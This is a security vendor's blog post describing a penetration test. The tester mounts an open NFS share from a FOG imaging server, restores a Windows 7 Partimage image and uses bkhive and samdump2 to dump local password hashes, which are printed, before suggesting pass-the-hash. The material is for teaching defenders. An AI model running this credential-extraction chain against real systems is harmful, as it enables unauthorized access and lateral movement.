Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

On most PenTests, alot of research goes into the things you find along the way. You find obscure software and other setups that can be a goldmine if you spend the time to do some research. On a recent test, I came across a FOG Server install. FOG is a open-source cloning setup, much like Norton Ghost. It pulled its images from a NFS share, and I just so happened to be in the /24 that was allowed to access it.

I mounted the NFS share and began to poke around. I found a Win7 folder with an image file in it:

/mnt# ls /WKSTNWin7d1.mbr  d1p1.img


I pulled the image file down to my box and did some analysis. It looks like FOG can use Part image for creating and restoring partitions. Trusty 'file' confirmed this:

$ file sys.img.000 sys.img.000: PartImage file version 0.6.1 volume 0 type ntfs device /dev/sda2, original filename pigz2, not compressed


After some reading on Part image, I devised a way to mount the image. First, I had to create a blank image file the same size as the partition:

$ dd if=/dev/zero of=disk.img bs=1M count=1722217222+0 records in17222+0 records out18058575872 bytes (18 GB) copied, 202.771 s, 89.1 MB/s


Then I assigned that file to a loopback device:

$ sudo losetup -f --show disk.img /dev/loop2


Then I installed Partimage, and used it to recover the Win7 image to the loopback device:

$ sudo partimage restore /dev/loop5 sys.img.000


Partimage

This took quite a while, as the image was an entire 16GB NTFS disk image. Once Part image finished doing its magic, I was able to just mount the loopback device as a NTFS partition:

$ sudo mount -t ntfs /dev/loop2 ./img


At this point, I was able to browse the filesystem. Excellent! Of course, the first place I head is to where the Registry stores its goodies, and used bkhive to dump the syskey bootkey from the SYSTEM hive:

/tmp/img/Windows/System32/config/RegBack$ bkhive SYSTEM keybkhive 1.1.1 by Objectif Securitehttp://www.objectif-securite.choriginal author: ncuomo@studenti.unina.itRoot Key : CMI-CreateHive{F10156JA-9DA3-4EDS-966E-5J29D135544}Default ControlSet: 001Bootkey: c612713d2aac9a51cd56b1ef6a62637f


Then I used samdump2 in conjunction with the bootkey and the SAM hive to dump the local usernames and password hashes:

/tmp/img/Windows/System32/config/RegBack$ samdump2 SAM keysamdump2 1.1.1 by Objectif Securitehttp://www.objectif-securite.choriginal author: ncuomo@studenti.unina.itRoot Key : CMI-CreateHive{655441A9-11D8-66B8-HEHK-3044323D5DEDSC}Administrator:500:aad3b435b51404eeaad3b435b51404ee:cbd7c6f3abd1cf5ef9b8645d1a96568e:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


Blamo! Mix 1 part luck with 2 parts Pass the Hash, and you've got shells on half a dozen boxes ;)

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo